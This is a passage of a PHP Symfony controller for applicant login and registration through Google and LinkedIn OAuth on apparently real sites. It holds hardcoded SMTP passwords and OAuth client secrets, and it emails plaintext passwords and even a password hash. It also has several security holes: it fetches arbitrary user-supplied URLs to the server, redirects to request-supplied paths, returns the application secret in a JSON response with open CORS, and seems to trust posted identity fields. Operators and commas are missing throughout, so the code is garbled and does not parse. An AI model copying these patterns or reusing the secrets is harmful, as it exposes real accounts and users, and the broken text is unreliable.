  6080.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6081.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6082.                     'firstName' => $applicantInfo['givenName'],
  6083.                     'lastName' => $applicantInfo['familyName'],
  6084.                     'type' => $token['token_type'],
  6085.                     'token' => $token['access_token'],
  6086.                 ];
  6087.             }
  6088.         }
  6089.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6090.             $isApplicantExist $applicantRepo->findOneBy([
  6091.                 'email' => $oAuthData['email']
  6092.             ]);
  6093.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6094.                 $isApplicantExist $applicantRepo->findOneBy([
  6095.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6096.                 ]);
  6097.             }
  6098.             if ($isApplicantExist) {
  6099.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6100.                 } else
  6101.                     return $this->redirectToRoute("core_login", [
  6102.                         'id' => $isApplicantExist->getApplicantId(),
  6103.                         'oAuthData' => $oAuthData,
  6104.                         'encData' => $encData,
  6105.                         'locale' => $request->request->get('locale''en'),
  6106.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6107.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6108.                     ]);
  6109.             } else {
  6110.                 $fname $oAuthData['firstName'];
  6111.                 $lname $oAuthData['lastName'];
  6112.                 $img $oAuthData['image'];
  6113.                 $email $oAuthData['email'];
  6114.                 $oAuthEmail $oAuthData['email'];
  6115.                 $userName explode('@'$email)[0];
  6116.                 //now check if same username exists
  6117.                 $username_already_exist 1;
  6118.                 $initial_user_name $userName;
  6119.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6120.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6121.                     $isUsernameExist $applicantRepo->findOneBy([
  6122.                         'username' => $userName
  6123.                     ]);
  6124.                     if ($isUsernameExist) {
  6125.                         $username_already_exist 1;
  6126.                         $userName $initial_user_name '' rand(3009987);
  6127.                     } else {
  6128.                         $username_already_exist 0;
  6129.                     }
  6130.                     $timeoutSafeCount--;
  6131.                 }
  6132.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6133.                     $currentUnixTimeStamp '';
  6134.                     $currentUnixTime = new \DateTime();
  6135.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6136.                     $userName $userName '' $currentUnixTimeStamp;
  6137.                 }
  6138.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6139.                 $charactersLength strlen($characters);
  6140.                 $length 8;
  6141.                 $password 0;
  6142.                 for ($i 0$i $length$i++) {
  6143.                     $password .= $characters[rand(0$charactersLength 1)];
  6144.                 }
  6145.                 $newApplicant = new EntityApplicantDetails();
  6146.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6147.                 $newApplicant->setEmail($email);
  6148.                 $newApplicant->setUserName($userName);
  6149.                 $newApplicant->setFirstname($fname);
  6150.                 $newApplicant->setLastname($lname);
  6151.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6152.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6153.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6154.                 $newApplicant->setAccountStatus(1);
  6155.                 //salt will be username
  6156. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6157.                 $salt uniqid(mt_rand());
  6158.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6159.                 $newApplicant->setPassword($encodedPassword);
  6160.                 $newApplicant->setSalt($salt);
  6161.                 $newApplicant->setTempPassword($password);
  6162. //                $newApplicant->setPassword($password);
  6163.                 $marker $userName '-' time();
  6164. //                $extension_here=$uploadedFile->guessExtension();
  6165. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6166. //                $path = $fileName;
  6167.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6168.                 if (!file_exists($upl_dir)) {
  6169.                     mkdir($upl_dir0777true);
  6170.                 }
  6171.                 $ch curl_init($img);
  6172.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6173.                 curl_setopt($chCURLOPT_FILE$fp);
  6174.                 curl_setopt($chCURLOPT_HEADER0);
  6175.                 curl_exec($ch);
  6176.                 curl_close($ch);
  6177.                 fclose($fp);
  6178.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6179. //                $newApplicant->setImage($img);
  6180.                 $newApplicant->setIsConsultant(0);
  6181.                 $newApplicant->setIsTemporaryEntry(0);
  6182.                 $newApplicant->setApplyForConsultant(0);
  6183.                 $newApplicant->setTriggerResetPassword(0);
  6184.                 $em->persist($newApplicant);
  6185.                 $em->flush();
  6186.                 $isApplicantExist $newApplicant;
  6187.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6188.                     if ($systemType == '_BUDDYBEE_') {
  6189.                         $bodyHtml '';
  6190.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6191.                         $bodyData = array(
  6192.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6193.                             'email' => $userName,
  6194.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6195.                             'password' => $newApplicant->getTempPassword(),
  6196.                         );
  6197.                         $attachments = [];
  6198.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6199. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6200.                         $new_mail $this->get('mail_module');
  6201.                         $new_mail->sendMyMail(array(
  6202.                             'senderHash' => '_CUSTOM_',
  6203.                             //                        'senderHash'=>'_CUSTOM_',
  6204.                             'forwardToMailAddress' => $forwardToMailAddress,
  6205.                             'subject' => 'Welcome to BuddyBee ',
  6206. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6207.                             'attachments' => $attachments,
  6208.                             'toAddress' => $forwardToMailAddress,
  6209.                             'fromAddress' => 'registration@buddybee.eu',
  6210.                             'userName' => 'registration@buddybee.eu',
  6211.                             'password' => 'Y41dh8g0112',
  6212.                             'smtpServer' => 'smtp.hostinger.com',
  6213.                             'smtpPort' => 465,
  6214.                             'encryptionMethod' => 'ssl',
  6215. //                            'emailBody' => $bodyHtml,
  6216.                             'mailTemplate' => $bodyTemplate,
  6217.                             'templateData' => $bodyData,
  6218. //                        'embedCompanyImage' => 1,
  6219. //                        'companyId' => $companyId,
  6220. //                        'companyImagePath' => $company_data->getImage()
  6221.                         ));
  6222.                     } else {
  6223.                         $bodyHtml '';
  6224.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6225.                         $bodyData = array(
  6226.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6227.                             'email' => 'APP-' $userName,
  6228.                             'password' => $newApplicant->getPassword(),
  6229.                         );
  6230.                         $attachments = [];
  6231.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6232. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6233.                         $new_mail $this->get('mail_module');
  6234.                         $new_mail->sendMyMail(array(
  6235.                             'senderHash' => '_CUSTOM_',
  6236.                             //                        'senderHash'=>'_CUSTOM_',
  6237.                             'forwardToMailAddress' => $forwardToMailAddress,
  6238.                             'subject' => 'Applicant Registration on Honeybee',
  6239. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6240.                             'attachments' => $attachments,
  6241.                             'toAddress' => $forwardToMailAddress,
  6242.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6243.                             'userName' => 'accounts@ourhoneybee.eu',
  6244.                             'password' => 'Honeybee@0112',
  6245.                             'smtpServer' => 'smtp.hostinger.com',
  6246.                             'smtpPort' => 465,
  6247.                             'encryptionMethod' => 'ssl',
  6248. //                            'emailBody' => $bodyHtml,
  6249.                             'mailTemplate' => $bodyTemplate,
  6250.                             'templateData' => $bodyData,
  6251. //                        'embedCompanyImage' => 1,
  6252. //                        'companyId' => $companyId,
  6253. //                        'companyImagePath' => $company_data->getImage()
  6254.                         ));
  6255.                     }
  6256.                 }
  6257.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6258.                 } else {
  6259.                     return $this->redirectToRoute("core_login", [
  6260.                         'id' => $newApplicant->getApplicantId(),
  6261.                         'oAuthData' => $oAuthData,
  6262.                         'encData' => $encData,
  6263.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6264.                         'locale' => $request->request->get('locale''en'),
  6265.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6266.                     ]);
  6267.                 }
  6268.             }
  6269.         }
  6270.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6271.             if ($isApplicantExist) {
  6272.                 $user $isApplicantExist;
  6273.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6274.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6275.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6276.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6277.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6278.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6279.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6280.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6281.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6282.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6283.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6284.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6285.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6286.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6287.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6288.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6289.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6290.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6291.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6292.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6293.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6294.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6295.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6296.                     $session->set('userCompanyVibrantList'json_encode([]));
  6297.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6298.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6299.                     $session->set(UserConstants::USER_APP_ID0);
  6300.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6301.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6302.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6303.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6304.                     $session->set(UserConstants::USER_GOC_ID0);
  6305.                     $session->set(UserConstants::USER_DB_NAME'');
  6306.                     $session->set(UserConstants::USER_DB_USER'');
  6307.                     $session->set(UserConstants::USER_DB_PASS'');
  6308.                     $session->set(UserConstants::USER_DB_HOST'');
  6309.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6310.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6311.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6312.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6313.                     $session->set('locale'$request->request->get('locale'''));
  6314.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6315.                     $route_list_array = [];
  6316.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6317.                     $loginID 0;
  6318.                     $loginID MiscActions::addEntityUserLoginLog(
  6319.                         $em,
  6320.                         $session->get(UserConstants::USER_ID),
  6321.                         $session->get(UserConstants::USER_ID),
  6322.                         1,
  6323.                         $request->server->get("REMOTE_ADDR"),
  6324.                         0,
  6325.                         $request->request->get('deviceId'''),
  6326.                         $request->request->get('oAuthToken'''),
  6327.                         $request->request->get('oAuthType'''),
  6328.                         $request->request->get('locale'''),
  6329.                         $request->request->get('firebaseToken''')
  6330.                     );
  6331.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6332.                     $session_data = array(
  6333.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6334.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6335.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6336.                         'oAuthToken' => $session->get('oAuthToken'),
  6337.                         'locale' => $session->get('locale'),
  6338.                         'firebaseToken' => $session->get('firebaseToken'),
  6339.                         'token' => $session->get('token'),
  6340.                         'firstLogin' => 0,
  6341.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6342.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6343.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6344.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6345.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6346.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6347.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6348.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6349.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6350.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6351.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6352.                         'oAuthImage' => $session->get('oAuthImage'),
  6353.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6354.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6355.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6356.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6357.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6358.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6359.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6360.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6361.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6362.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6363.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6364.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6365.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6366.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6367.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6368.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6369.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6370.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6371.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6372.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6373.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6374.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6375.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6376.                         //new
  6377.                         'appIdList' => $session->get('appIdList'),
  6378.                         'branchIdList' => $session->get('branchIdList'null),
  6379.                         'branchId' => $session->get('branchId'null),
  6380.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6381.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6382.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6383.                     );
  6384.                     $session_data $this->filterClientSessionData($session_data);
  6385.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6386.                     $session_data $tokenData['sessionData'];
  6387.                     $token $tokenData['token'];
  6388.                     $session->set('token'$token);
  6389.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6390.                         $session->set('remoteVerified'1);
  6391.                         $response = new JsonResponse(array(
  6392.                             'token' => $token,
  6393.                             'uid' => $session->get(UserConstants::USER_ID),
  6394.                             'session' => $session,
  6395.                             'success' => true,
  6396.                             'session_data' => $session_data,
  6397.                         ));
  6398.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6399.                         return $response;
  6400.                     }
  6401.                     if ($request->request->has('referer_path')) {
  6402.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6403.                             return $this->redirect($request->request->get('referer_path'));
  6404.                         }
  6405.                     }
  6406.                     $redirectRoute 'applicant_dashboard';
  6407.                     if ($request->query->has('encData')) {
  6408.                         if ($request->query->get('encData') == '8917922')
  6409.                             $redirectRoute 'apply_for_consultant';
  6410.                     }
  6411.                     return $this->redirectToRoute($redirectRoute);
  6412.                 }
  6413. //                    $response = new JsonResponse(array(
  6414. //                        'token' => $token,
  6415. //                        'uid' => $session->get(UserConstants::USER_ID),
  6416. //                        'session' => $session,
  6417. //
  6418. //                        'success' => true,
  6419. //                        'session_data' => $session_data,
  6420. //
  6421. //                    ));
  6422. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6423. //                    return $response;
  6424. //                    return $this->redirectToRoute("user_login", [
  6425. //                        'id' => $isApplicantExist->getApplicantId(),
  6426. //                        'oAuthData' => $oAuthData,
  6427. //                        'encData' => $encData,
  6428. //                        'locale' => $request->request->get('locale', 'en'),
  6429. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6430. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6431. //                    ]);
  6432.             }
  6433.         }
  6434. //        if ($request->isMethod('POST')){
  6435. //            $new = new EntityApplicantDetails();
  6436. //
  6437. //            $new-> setUsername->$request->request->get('userName');
  6438. //            $new-> setEmail()->$request->request->get('email');
  6439. //            $new-> setPassword()->$request->request->get('password');
  6440. //            $new-> setSelector()->$request->request->get('selector');
  6441. //
  6442. //
  6443. //            $em->persist($new);
  6444. //            $em->flush();
  6445. //        }
  6446.         $selector BuddybeeConstant::$selector;
  6447.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6448.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6449.         if ($systemType == '_ERP_') {
  6450.         } else if ($systemType == '_BUDDYBEE_') {
  6451.             return $this->render(
  6452.                 '@Authentication/pages/views/applicant_login.html.twig',
  6453.                 [
  6454.                     'page_title' => 'BuddyBee Login',
  6455.                     'oAuthLink' => $google_client->createAuthUrl(),
  6456.                     'redirect_url' => $url,
  6457.                     'message' => $message,
  6458.                     'errorField' => $errorField,
  6459.                     'encData' => $encData,
  6460.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6461.                     'selector' => $selector
  6462.                 ]
  6463.             );
  6464.         }
  6465.         return $this->render(
  6466.             '@Authentication/pages/views/applicant_login.html.twig',
  6467.             [
  6468.                 'page_title' => 'Applicant Registration',
  6469.                 'oAuthLink' => $google_client->createAuthUrl(),
  6470.                 'redirect_url' => $url,
  6471.                 'encData' => $encData,
  6472.                 'message' => $message,
  6473.                 'errorField' => $errorField,
  6474.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6475.                 'selector' => $selector
  6476.             ]
  6477.         );
  6478.     }
  6479.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6480.     {
  6481.         $session $request->getSession();
  6482.         $email $request->getSession()->get('userEmail');
  6483.         $sessionUserId $request->getSession()->get('userId');
  6484.         $oAuthData = [];
  6485. //    $encData='';
  6486.         $em $this->getDoctrine()->getManager('company_group');
  6487.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6488.         $redirectRoute 'dashboard';
  6489.         if ($encData != '') {
  6490.             if ($encData == '8917922')
  6491.                 $redirectRoute 'apply_for_consultant';
  6492.         }
  6493.         if ($request->query->has('encData')) {
  6494.             $encData $request->query->get('encData');
  6495.             if ($encData == '8917922')
  6496.                 $redirectRoute 'apply_for_consultant';
  6497.         }
  6498.         $message '';
  6499.         $errorField '_NONE_';
  6500.         if ($request->query->has('message')) {
  6501.             $message $request->query->get('message');
  6502.         }
  6503.         if ($request->query->has('errorField')) {
  6504.             $errorField $request->query->get('errorField');
  6505.         }
  6506.         if ($request->request->has('oAuthData')) {
  6507.             $oAuthData $request->request->get('oAuthData', []);
  6508.         } else {
  6509.             $oAuthData = [
  6510.                 'email' => $request->request->get('email'''),
  6511.                 'uniqueId' => $request->request->get('uniqueId'''),
  6512.                 'oAuthHash' => '_NONE_',
  6513.                 'image' => $request->request->get('image'''),
  6514.                 'emailVerified' => $request->request->get('emailVerified'''),
  6515.                 'name' => $request->request->get('name'''),
  6516.                 'firstName' => $request->request->get('firstName'''),
  6517.                 'lastName' => $request->request->get('lastName'''),
  6518.                 'type' => 1,
  6519.                 'token' => $request->request->get('oAuthtoken'''),
  6520.             ];
  6521.         }
  6522.         $isApplicantExist null;
  6523.         if ($email) {
  6524.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6525.                 $isApplicantExist $applicantRepo->findOneBy([
  6526.                     'applicantId' => $sessionUserId
  6527.                 ]);
  6528.             } else
  6529.                 return $this->redirectToRoute($redirectRoute);
  6530.         }
  6531.         $google_client = new Google_Client();
  6532. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6533. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6534.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6535.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6536.         } else {
  6537.             $url $this->generateUrl(
  6538.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6539.             );
  6540.         }
  6541.         $selector BuddybeeConstant::$selector;
  6542.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6543.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6544. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6545. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6546.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6547. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6548.         $google_client->setRedirectUri($url);
  6549.         $google_client->setAccessType('offline');        // offline access
  6550.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6551.         $google_client->addScope('email');
  6552.         $google_client->addScope('profile');
  6553.         $google_client->addScope('openid');
  6554. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6555.         //linked in 1st
  6556.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6557.             $curl curl_init();
  6558.             curl_setopt_array($curl, array(
  6559.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6560.                 CURLOPT_HEADER => false,  // don't return headers
  6561.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6562.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6563.                 CURLOPT_ENCODING => "",     // handle compressed
  6564.                 CURLOPT_USERAGENT => "test"// name of client
  6565.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6566.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6567.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6568.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6569.                 CURLOPT_USERAGENT => 'InnoPM',
  6570.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6571.                 CURLOPT_POST => 1,
  6572.                 CURLOPT_HTTPHEADER => array(
  6573.                     'Content-Type: application/x-www-form-urlencoded'
  6574.                 )
  6575.             ));
  6576.             $content curl_exec($curl);
  6577.             $contentArray = [];
  6578.             curl_close($curl);
  6579.             $token false;
  6580. //      return new JsonResponse(array(
  6581. //          'content'=>$content,
  6582. //          'contentArray'=>json_decode($content,true),
  6583. //
  6584. //      ));
  6585.             if ($content) {
  6586.                 $contentArray json_decode($contenttrue);
  6587.                 $token $contentArray['access_token'];
  6588.             }
  6589.             if ($token) {
  6590.                 $applicantInfo = [];
  6591.                 $curl curl_init();
  6592.                 curl_setopt_array($curl, array(
  6593.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6594.                     CURLOPT_HEADER => false,  // don't return headers
  6595.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6596.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6597.                     CURLOPT_ENCODING => "",     // handle compressed
  6598.                     CURLOPT_USERAGENT => "test"// name of client
  6599.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6600.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6601.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6602.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6603.                     CURLOPT_USERAGENT => 'InnoPM',
  6604.                     CURLOPT_HTTPGET => 1,
  6605.                     CURLOPT_HTTPHEADER => array(
  6606.                         'Authorization: Bearer ' $token,
  6607.                         'Header-Key-2: Header-Value-2'
  6608.                     )
  6609.                 ));
  6610.                 $userGeneralcontent curl_exec($curl);
  6611.                 curl_close($curl);
  6612.                 if ($userGeneralcontent) {
  6613.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6614.                 }
  6615.                 $curl curl_init();
  6616.                 curl_setopt_array($curl, array(
  6617.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6618.                     CURLOPT_HEADER => false,  // don't return headers
  6619.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6620.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6621.                     CURLOPT_ENCODING => "",     // handle compressed
  6622.                     CURLOPT_USERAGENT => "test"// name of client
  6623.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6624.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6625.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6626.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6627. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6628.                     CURLOPT_USERAGENT => 'InnoPM',
  6629.                     CURLOPT_HTTPGET => 1,
  6630.                     CURLOPT_HTTPHEADER => array(
  6631.                         'Authorization: Bearer ' $token,
  6632.                         'Header-Key-2: Header-Value-2'
  6633.                     )
  6634.                 ));
  6635.                 $userEmailcontent curl_exec($curl);
  6636.                 curl_close($curl);
  6637.                 $token false;
  6638.                 if ($userEmailcontent) {
  6639.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6640.                 }
  6641. //        $oAuthEmail = $applicantInfo['email'];
  6642. //        return new JsonResponse(array(
  6643. //          'userEmailcontent'=>$userEmailcontent,
  6644. //          'userGeneralcontent'=>$userGeneralcontent,
  6645. //        ));
  6646. //        return new response($userGeneralcontent);
  6647.                 $oAuthData = [
  6648.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6649.                     'uniqueId' => $userGeneralcontent['id'],
